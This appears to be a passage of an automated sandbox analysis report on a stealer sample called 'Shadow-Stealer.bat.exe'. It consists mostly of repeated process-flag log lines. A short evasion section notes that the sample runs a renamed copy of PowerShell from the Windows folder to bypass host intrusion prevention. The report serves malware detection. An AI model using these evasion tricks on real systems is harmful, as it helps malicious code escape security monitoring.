Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\$sxr-powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Renames powershell.exe to bypass HIPS

Source: C:\Windows\System32\cmd.exe	File opened: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	File opened: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	File opened: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	File opened: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Jump to behavior

Powershell is started from unusual location (likely to bypass HIPS)

Source: c:\windows\$sxr-powershell.exe	Key value queried: Powershell behavior	Jump to behavior
Source: c:\windows\$sxr-powershell.exe	Key value queried: Powershell behavior
Source: c:\users\user\desktop\shadow-stealer.bat.exe	Key value queried: Powershell behavior	Jump to behavior

Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe TID: 6264	Thread sleep count: 4668 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe TID: 6264	Thread sleep count: 4876 > 30	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe TID: 5788	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe TID: 5644	Thread sleep time: -11068046444225724s >= -30000s	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe TID: 4568	Thread sleep count: 363 > 30
